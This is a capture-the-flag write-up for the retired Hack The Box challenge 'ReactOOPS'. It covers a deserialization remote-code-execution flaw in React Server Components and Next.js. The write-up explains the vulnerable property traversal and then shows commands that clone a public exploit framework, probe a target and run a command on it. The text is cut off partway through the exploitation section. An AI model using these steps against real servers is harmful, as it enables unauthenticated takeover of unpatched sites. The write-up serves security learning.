ReactOOPS - HTB Web Challenge Writeup

Author: TheStingR - Team ISP1337Hackers
Challenge: ReactOOPS (Web)
Platform: Hack The Box
Difficulty: Very Easy - RETIRED
Date Solved: December 13, 2025

Table of Contents

1. Executive Summary
2. Challenge Description
3. Vulnerability Analysis
4. Reconnaissance & Enumeration
5. Exploitation Walkthrough
6. Flag Extraction
7. Technical Deep Dive
8. Defense & Mitigation
9. Lessons Learned

---

Executive Summary

ReactOOPS is a web challenge that exploits CVE-2025-55182 / CVE-2025-66478, a critical unauthenticated Remote Code Execution vulnerability in React Server Components and Next.js App Router.

Key Findings:

• ✅ Server: Next.js 16.0.6 with React 19 (vulnerable)
• ✅ Vulnerability: Missing hasOwnProperty check in Flight protocol deserialization
• ✅ Impact: Unauthenticated RCE with root privileges
• ✅ Exploitation: Single HTTP POST request required

---

Challenge Description

Initial Assessment

The challenge presents a polished Next.js application running NexusAI's assistant interface. The application appears to handle user input through React Server Components, but subtle glitches in the reactive layer hint at underlying vulnerabilities.

Technology Stack

• Framework: Next.js 16.0.6
• React Version: 19.x
• Deployment: Docker container (Next.js standalone build)
• Server Port: 50183

What Makes This Vulnerable?

The application uses:

1. React Server Components (RSC) - Server-side rendering with client communication
2. Flight Protocol - Serialization format for RSC data transmission
3. Vulnerable Dependencies - react-server-dom-webpack without security patches

---

Vulnerability Analysis

CVE-2025-55182 / CVE-2025-66478 Overview

What is the Flight Protocol?

The Flight protocol is React's proprietary serialization format for transmitting data between server and client in Server Component architectures. It uses references like:

• $1 - Reference to object at position 1
• $1:path:to:value - Property path traversal

The Missing Security Check

Vulnerable Code in React's ReactFlightReplyServer.js:

// Line ~450: getOutlinedModel function
function getOutlinedModel(response, id) {
    let chunk = chunks.get(id);
    const value = chunk.value;
    
    // Process references like "$1:path:to:value"
    if (reference.startsWith('$')) {
        const refId = parseInt(reference.slice(1).split(':')[0]);
        const path = reference.slice(1).split(':').slice(1);
        
        let obj = chunks.get(refId).value;
        
        // VULNERABLE LOOP - NO hasOwnProperty CHECK!
        for (let i = 0; i < path.length; i++) {
            obj = obj[path[i]];  // ← Allows prototype chain access
        }
        return obj;
    }
}

The Safe Version (What It Should Be):

for (let i = 0; i < path.length; i++) {
    if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
        obj = obj[path[i]];
    } else {
        throw new Error('Invalid property access');
    }
}

Why This Matters

Without the hasOwnProperty check, an attacker can traverse:

myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype

Exploitation Chain

Step 1: Send reference "$1:__proto__:then"
         │
         ├─ Access myChunk[__proto__]
         └─ Then access [then] on the prototype

Step 2: Create fake Promise-like object
         │
         └─ { then: maliciousFunction }

Step 3: React calls await on this object
         │
         ├─ Invokes the .then() method
         └─ Executes attacker's function

Step 4: Arbitrary Code Execution
         │
         └─ Code runs in server context as root

Why No Authentication Check?

The vulnerability exists before the Next-Action validation:

Request Processing Flow:
├─ Parse multipart form data
├─ Deserialize Flight protocol  ← RCE HAPPENS HERE
│  └─ Process references and objects
│  └─ No hasOwnProperty check!
├─ Extract Next-Action header
├─ Validate action ID          ← This comes AFTER
└─ Execute action handler

By triggering RCE during deserialization, attackers bypass all action-level security checks.

---

Reconnaissance & Enumeration

Step 1: Initial Connection Test

# Test if service is responding
curl -v http://<IP>:PORT/

Expected: Next.js application serving HTML with RSC enabled

Step 2: Technology Identification

Look for indicators:

• Response headers containing next- prefixes
• HTML containing <script type="text/x-component">
• Presence of .next directory artifacts
• POST endpoints without obvious authentication

Step 3: Vulnerability Detection

The most reliable indicator is attempting a prototype pollution attack and observing the response:

# Non-destructive detection payload
# Sends: ["$1:a:a"] referencing {}
# Vulnerable: {}.a.a throws → HTTP 500 + E{"digest"
# Patched: hasOwnProperty prevents access → no crash

---

Exploitation Walkthrough

Environment Setup

# Navigate to challenge directory
cd /Challenges/ReactOOPS

# Clone react2shell exploit framework
git clone https://github.com/freeqaz/react2shell.git

# Verify all scripts are executable
chmod +x react2shell/*.sh

Phase 1: Detection (Non-Destructive Proof)

Goal: Confirm the server is vulnerable without causing damage

cd react2shell

# Run the detection probe
./detect.sh http://<IP>:PORT

What It Does:

1. Creates a multipart POST request with Next-Action: x header
2. Sends payload: ["$1:a:a"] referencing empty object {}
3. On vulnerable server: JavaScript tries to access {}.a.a
4. Missing hasOwnProperty check causes crash
5. Server returns HTTP 500 with error digest

Expected Output:

[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Target: http://<IP>:PORT

[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern

[*] Response body:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}

[!] This server is running a vulnerable version of React RSC / Next.js

Interpretation:

• HTTP 500: ✅ Crash detected
• E{"digest" in response: ✅ React error handling format
• Conclusion: Server is VULNERABLE

Phase 2: Remote Code Execution (Proof of Concept)

Goal: Verify arbitrary command execution

# Execute the 'id' command on the remote server
./exploit-redirect.sh -q http://<IP>:PORT "id"